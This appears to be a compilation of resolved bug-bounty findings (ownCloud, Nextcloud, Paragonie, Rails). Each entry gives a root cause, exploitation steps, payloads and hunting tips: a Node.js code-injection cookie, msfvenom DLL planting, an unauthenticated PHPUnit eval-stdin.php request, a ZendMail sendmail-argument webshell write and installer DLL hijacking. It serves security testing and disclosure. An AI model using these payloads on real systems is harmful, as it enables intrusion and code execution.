The 'Copy as Node Request' Burp extension builds Node.js source by embedding request values in single-quoted string literals, but its escapeQuotes() only escapes double quotes. A single quote in a request field (e.g. cookie) breaks out of the literal and injects arbitrary Node.js code that runs when the victim executes the copied snippet.
Method
- Set a malicious cookie/field on a page the victim will intercept
- Get victim to 'Copy as Node.js Request' and run the generated code
- Injected child_process call executes
document.cookie = "test='/require('child_process').exec('calc.exe')//"
Insight β Any tool that transpiles requests/data into runnable code (copy-as-curl/python/node, ORM query builders, codegen) is a code-injection sink if escaping is context-incomplete. Test every quoting context (single vs double vs template backtick) separately - escaping one is not escaping all.
Real-world example
Local code execution via QT plugin load from user-writable absolute path (DLL planting)
β Info
Specimen #155657 Β· owncloud Β· awarded Β· 16 votes Β· resolved
Program owncloudSurface desktop
Root cause
The ownCloud Windows client loads QT platform plugins from a hardcoded absolute path under C:\usr\...; because any authenticated user can create folders under C:\, an attacker plants a malicious DLL that is auto-loaded at client launch.
Method
- Create the expected plugin directory tree under C:\usr\...\qt5\plugins\platforms
- Place a malicious/patched qwindows.dll (e.g. msfvenom messagebox shellcode injected after an entry point)
- Launch the client; the planted DLL executes
msfvenom -a x86 --platform windows -p windows/messagebox TEXT="DLL Loaded" EXITFUNC=process -f raw > shellcode
# patch shellcode after an entry point in qwindows.dll, drop at:
C:\usr\i686-w64-mingw32\sys-root\mingw\lib\qt5\plugins\platforms\qwindows.dll
Insight β Desktop apps that load libraries/plugins from writable, non-standard absolute paths (C:\usr\..., current dir, world-writable dirs) are vulnerable to DLL planting / library hijacking. Check where the app resolves plugins and whether a low-priv user can create those dirs.
Real-world example
Public PHPUnit eval-stdin.php -> unauth RCE
β Info
Specimen #820146 Β· nextcloud Β· awarded Β· 9 votes Β· resolved
Program nextcloudSurface webTag file-upload
Root cause
Release tarball shipped dev dependency PHPUnit inside the web-served vendor/ dir; PHPUnit's util/PHP/eval-stdin.php evaluates php://stdin, which under CGI/FastCGI maps to the raw HTTP POST body -> arbitrary PHP execution without auth.
Method
- Enumerate web-served vendor paths for the known sink file (see payload)
- If reachable (index.php-style URLs or no rewrite), POST PHP code in the body; it is read from php://stdin and eval'd
- Also check bundled Nextcloud apps that vendored PHPUnit: carnet, discoursesso, extract
POST /apps/groupfolders/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: TARGET
Content-Type: text/plain
Content-Length: 33
<?php system('id'); ?>
# Only exploitable when PHP runs via CGI/FastCGI (php://stdin == POST body)
Insight β Any dev/test dependency (PHPUnit, phpstan, composer scripts) left inside a web-reachable vendor/ directory is a candidate sink. eval-stdin.php is the canonical one; grep releases and deployed apps for it. Same class hit PrestaShop.
Real-world example
Username special-chars break mail query (FPD) and enable ZendMail sendmail -X arg injection RCE
β Info
Specimen #228112 Β· paragonie Β· awarded Β· 8 votes Β· resolved
Program paragonieSurface webChain special-char username -> error-based full-path disclosure
Root cause
Signup accepts unescaped special characters (' " / @) in usernames; injecting a double-quote breaks the backend query during password-reset mail and throws a full-path-disclosing exception, and if the app uses a vulnerable Zend zend-mail (CVE-2016-10034) the address field allows sendmail -X/-oQ argument injection -> arbitrary PHP file write -> RCE.
Method
- Register a username containing a double-quote (e.g. as") and add an email
- Trigger forgot-password with that username -> backend query breaks -> full server path leaked in the error
- Where zend-mail/PHPMailer builds the sendmail command from an attacker-controlled address, inject -X/-oQ to write a webshell
# FPD trigger username:
as"
# ZendMail (CVE-2016-10034) sendmail argument-injection address:
"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php "@email.com
Insight β Unfiltered special chars in identity fields (username/email) that later flow into SQL or a shelled-out mailer are dual-use: quotes yield error-based FPD/SQLi tells, and mailer address fields on vulnerable zend-mail/PHPMailer allow sendmail -X arg injection to drop a PHP shell. Test the mail/reset path, not just login.
Real-world example
Rails render(user_input) directory traversal to RCE
β Info
Specimen #113831 Β· rails Β· awarded Β· 6 votes Β· resolved
Program railsSurface webChain path traversal -> local file disclosure -> template re
Root cause
Passing unverified user input directly to a Rails controller `render` call lets the request select templates/files outside the view directory, leaking arbitrary files and potentially escalating to RCE (CVE-2016-2097, incomplete fix of CVE-2016-0752).
Method
- Find a controller action that renders a user-supplied value, e.g. render params[:id]
- Supply a crafted id that traverses outside the view path to read unexpected files
- Escalate: a rendered file interpreted as a template can lead to code execution
def index
render params[:id] # vulnerable: user input to render
end
# fix: render verify_template(params[:id])
Insight β Any framework render/include/view sink fed by user input is a traversal+template-injection sink; grep controllers for render/params and view-path resolution.
Real-world example
DLL search-order hijacking in Windows installer
β Info
Specimen #151475 Β· owncloud Β· awarded Β· 5 votes Β· resolved
Program owncloudSurface desktopChain drive-by DLL drop -> installer DLL search order -> cod
Root cause
A setup.exe loads a system DLL by name without a fully-qualified path, so a same-named malicious DLL planted in the app directory (typically the Downloads folder for browser-downloaded installers) is loaded and executed = code execution.
Method
- Place a malicious DLL (e.g. dwmapi.dll / shfolder.dll) in the victim's Downloads folder
- Victim downloads and runs the installer from the same folder
- Installer resolves the DLL from CWD first and executes attacker code
; build a stub DLL exporting the hijacked name (dwmapi.dll) with DllMain -> WinExec("calc")
; drop as %USERPROFILE%\Downloads\dwmapi.dll alongside Setup.exe
Insight β Test every downloadable Windows installer/EXE for binary planting: run it from a folder containing candidate DLLs (dwmapi, shfolder, version, profapi, cryptbase); classic carpet-bombing -> RCE.